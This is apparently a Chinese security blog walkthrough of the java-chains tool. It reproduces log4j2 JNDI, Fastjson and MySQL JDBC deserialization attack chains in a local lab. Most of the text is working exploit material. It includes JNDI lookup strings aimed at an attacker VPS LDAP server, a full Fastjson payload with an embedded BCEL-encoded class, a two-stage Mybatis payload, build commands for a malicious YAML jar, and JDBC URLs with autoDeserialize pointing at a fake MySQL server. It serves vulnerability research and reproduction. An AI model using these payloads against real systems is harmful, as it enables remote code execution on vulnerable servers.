偶然在github上看到java-chains,感觉蛮不错的,但是就是对新手不太友好,特此记录一下自己的探索过程。
安装方式有两种,官方文档写得很清楚,这里不再赘述。
https://github.com/vulhub/java-chains
https://java-chains.vulhub.org/zh/docs/guide
java-chains支持很多利用链,具体可以去查看官方文档。
后面我会用一些常用链来演示java-chains的使用方法。
JNDI
以 log4j2为例,log4j2版本选择2.14.0,小于2.14.1都可以
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.0</version>
</dependency>
info触发
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class lookUp {
private static final Logger logger = LogManager.getLogger(lookUp.class);
public static void main(String[] args) {
logger.info("${jndi:ldap://127.0.0.1:1079/a}");
}
}
jdk低版本
jdk版本小于8u191都行,没有限制ldap和rmi的远程字节码加载
然后再来说java-chains如何生成jndi的payload
首先需要来到jndi Control面板,把Reverse IP改为自己vps的IP,本地搭建的也建议不要用127.0.0.1,换一个其他网卡的IP
如果更改不了,就先点击关闭,然后修改Reverse IP,再启动就可以了(就这个坑我浪费了有半天时间,不先点关闭的话,改了之后就会发现没改上,还是127.0.0.1,之后发现是如果你在修改IP之前就点击生成过exp,这时候ldap服务就会自动启动,必须先点关闭才能改)
改好之后来到JNDIBasicPayload
默认选择第一个远程加载字节码,然后通常选择exec
要执行的命令在下面,展开即可,默认calc,然后点击生成。
请求刚刚生成的payload,成功执行
jdk高版本
jdk高版本大于8u191都可以,高版本的jdk对jndi有限制,需要设置TrustUrlCodeBase为true才行,但可以通过其他组件寻找其他利用链。
高版本的绕过可以参考浅蓝师傅的文章,这里我只演示部分。
java-chains能够生成fuzz payload,一键测试常规利用链,通过查看dnslog记录,生成可利用的链。官方文档也提到过,非常详细。
由于没有搭建web环境,这里就直接用info循环触发。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class lookUp {
private static final Logger logger = LogManager.getLogger(lookUp.class);
public static void main(String[] args) {
String[] jndiPayloads = {
"ldap://x.x.x.x:50389/abf5f9",
"ldap://x.x.x.x:50389/b16e1a",
"ldap://x.x.x.x:50389/225541",
"ldap://x.x.x.x:50389/034223",
"ldap://x.x.x.x:50389/25071b",
.....
};
for (String payload : jndiPayloads) {
logger.info("${jndi:" + payload + "}");
}
}
}
我在pom.xml里面添加了Groovy,snakeyaml,ELProcessor,mvel2依赖,检测java-chains的爆破链能否fuzz出这三个依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.23</version>
</dependency>
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
可以看到识别出了snakeyaml
Groovy
ELProcessor
mvel2不清楚为啥没有探测到,可能是bug,已经提了issue
ELProcessor
找到EL链并生成payload
成功执行
Groovy
根据dnslog,选择Groovy2Convert或GroovyConvert都可以
成功执行
snakeyaml
选择远程加载jar包
这里需要填写恶意jar包,可以使用github上现成的
https://github.com/artsploit/yaml-payload
克隆下来记得改一下执行命令,改完后打包一下就行
vim yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
成功执行
mvel2
选择对应payload
成功执行
Fastjson
这里只对java-chains里面存在的链子进行复现。复现的环境使用的是github上的一位师傅的环境
https://github.com/safe6Sec/ShiroAndFastJson
BCEL-tomcat-dbcp
测试环境:
1.jdk8版本小于等于8u191
2.fastjson版本1.2.33 – 1.2.47
3.tomcat-dbcp <= 7.0.109
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>7.0.47</version>
</dependency>
payload选择Generate–>fastjsonPayload,然后选择bcel字节码加载
在下面还可以选择fastjson对应版本和对应依赖
将生成的payload进行json解析
package fastjsonGadget;
import com.alibaba.fastjson.JSON;
public class FastJsonExample {
public static void main(String[] args) {
String PoC = "{\n" +
" \"name\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"\n" +
" },\n" +
" \"x1\": {\n" +
" \"name\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"x2\": {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x3\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$dbR$TA$Q$3d$93$y$ec$sl$U$97$ab$e0$N$_$98$80$b0$40$W$88$82$60A$e9$83$Vo$b5$WT$f4i$b2$Z$c2b$b2$Tw$H$81w$7f$c2$_$e0$Z$a8$CKJ$3f$c0o$b2$d4$de$40$89$vx$99$9e$ee$d3$d3$7dN$f7$fc$fc$fd$ed$H$80$v$3ca$f0dX$b5y$83$7b$eb$c2$8e$d6$fdP$da$9e$dc$91J$d8$h$91$M$9e$c9$b0$ce$d5$8a$l$f9J$86$91$fd$9cBKR$d6$EoE$f2k$b3N$7er$86O$3a$c2q$b8$98$v$88$e9$7c$a5Rp$f8Z$c1q$9c$d9i$j$8c$a1s$83$7f$e2v$8d$HU$fbUyCxJG$92A$x$f3H0X$c53$d4U$a1$lT$e7$Y$92$91h$d0$e9$d5$x$M$ed$f3$7e$e0$ab$Fr$b3$b9$V$86$ae$b3$f4$a7$db$9eh$u_$G$3a$3aL$a4$90NCC$86A$97$d1x$c0$eb$c2$c0$e5$96$e6$eeN$a4D$5d$c7$V$86$8e$aaP$afC$d9$Q$a1$daa$Y$ce$9e$t$91$3b$l2$d1$85$ee4$y$f4$b4$96m$a2$3a$fa$a8$ac$92E$b9$r$c2$e5$a6$b4$ee$ec$85E$aeb$m$8d$7e$M$92$a2$z$3f0p$9d$c1$f0d$a0$b8$lD$M$83$ffsY$5e$e7$a1$x$3en$8a$c0$Ts$b9w$sn$e2V$fcv$88D$d2p$c6$c56$89$bcc$a2$N$ed$v$qp$8f$na$7b$G$ee$9b$d0O$o9J$b4$cb$7e$40$L60J$f0$Y$c1c$s$8c$T$d8f$e8$3f$ebF$D$f1D$U$zm$fa$b5$8a$IuL2$f4f$df_0$9a$95x$da$f94$7d$p$87$a1$zR$3cT$M$3d$zjOk$91$dc$Z$cc$c6$99$FR9$ef$d5Nw$a9y$bcFL$e6$d2D$826$a6$z$cb$K$N$y$e3$w$ee$7dx$c1$hoy$b9$s0D$a0F$bf5I$ddH$n$ddR$b1$ae$a65$9a6$B$W$ef$9d$ce$F$f2$3eSv$82$ac$3br$84KV$e7W$f4$k$e2$9au$e3$Q$b7$bf$a0$d3$ba$7b$80a$x$7b$80$91$5dd$ac$H$b13NN$fbw$f4$97$92$fb$YvK$da$3eF$dcR$db$3e$s$dc$e21$a6J$a3G$98$3e$c4$c3$d5$5dh$c5$3dj$a1$e1$r$de$c0$a4$db$o5$e9$83$f6$87$Y2$3dn$99$S$3a$cc_$mv$g1$7b$f4$8f$d1$40$93$P$88$cd$fc$B$s$8e$91$u$j$e1$f1$ea$5e3$86$bfi$c9$H3$8c$D$A$A\",\n" +
" \"$ref\": \"$.x1.x2.x3.connection\"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(PoC);
}
}
成功执行
BCEL-Mybatis
测试环境:
1.jdk8版本小于等于8u191
2.fastjson版本1.2.33 – 1.2.47
3.mybatis(具体版本范围不清楚,我这里用的是3.5.11)
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
payload选择mybatis
成功执行
但BCEL-Mybatis字节码加载无法解决当fastjson版本处于1.2.25 – 1.2.32之间的问题,我在复现mybatis链子时发现了这位师傅的文章。
https://www.anquanke.com/post/id/283079
他给出了一个解决方法,首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE。payload如下:
js = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},"+
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"},"+
"]";
System.out.println(js);
JSON.parse(js);
js = "["+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$...\"},"+
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"},"+
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}},"+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}"+
"]";
System.out.println(js);
JSON.parse(js);
web复现,分两段发
C3P0
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本<=1.2.47
3.c3p0依赖(具体版本范围不清楚,我这里用的是0.9.5.2)
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
这里的CB链子的选择上要注意,查看自己测试环境上的CB版本是多少,如果是1.8.3的,是用不了CB1和CB5两条链的
成功执行
Groovy
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本1.2.76 <= fastjson < 1.2.83
3.groovy依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.12</version>
</dependency>
payload选择groovy
jar包生成参考
https://github.com/Lonely-night/fastjsonVul
打包成功后用python起一个http,jar包路径填上即可,成功触发
H2jdbc
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本<=1.2.47
3.H2jdbc依赖
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.220</version>
</dependency>
这里fastjson的版本我很疑惑,因为java-chains里面写的<=1.2.61,但是我实测出来只能在1.2.47以及之后的版本中可以,高于1.2.47不仅需要开启autotype,也需要将org.h2.jdbcx.JdbcDataSource和java.lang.Class类加入白名单才可以成功触发利用链。
java-chains中payload选择FastjsonH2Jdbc–>BytecodeConvert–>Exec
同时还需要注意的是,图中的 }:和{}之间不要有空格
java-chains在生成exp时就会有空格,导致JSON.parse反序列化不成功。经测试,除了使用JSON.toJSONString(JSON.parse(PoC));和System.out.println(JSON.parse(PoC));这两个可以执行外,其他都无法触发利用链。所以最好还是删除空格,这样都可以触发。
JdbcRowSetImpl
这条链是最常见的,主要是不依赖任何库
测试环境:
1.jdk版本小于8u191
2.fastjson版本<=1.2.47
java-chains中选择JdbcRowSetImpl这条链点击生成即可。生成好之后在dataSourceName处修改jndi路径,jndi用java-chains生成,选择基础payload即可。
Mysqljdbc
主要复现一下5.1和8.0版本的,6.x版本的mysql感觉很冷门没啥人用。当然还有一些ssrf的链,但是java-chains中没有,就不再复现了。
在这里选择mysql版本,点击生成即可。
开启FakeMysql,会生成用户名
mysql 5.1
mysql版本5.1.11-5.1.48
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
将host和username填入就行
mysql 8.0
Java-chains选择mysql 8.0的链子,mysql版本8.0.19
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
成功触发
JDBC
实际利用中mysql jdbc反序列化更常用一些,h2database反序列化之后再增加。
MySQL
该反序列化漏洞适用于mysql jdbc url可控,均可测试该漏洞
mysql5.1.11-5.x.xx
mysql-connector依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
首先开启fakemysql,然后Java-chains中选择mysql jdbc的payload,填入fakemysql的用户以及ip:port
模拟mysql jdbc连接
package JDBC;
import java.sql.*;
public class JDBCRce {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=d247fc1";
Connection conn = DriverManager.getConnection(DB_URL);
}
}
成功反序列化
mysql8.x-8.0.19
mysql-connector依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
同样开启fakemysql,选择8.0.20的payload
测试,注意这里的driver类是com.mysql.cj.jdbc.Driver
package JDBC;
import java.sql.*;
public class JDBCRce {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=da68652";
Connection conn = DriverManager.getConnection(DB_URL);
}
}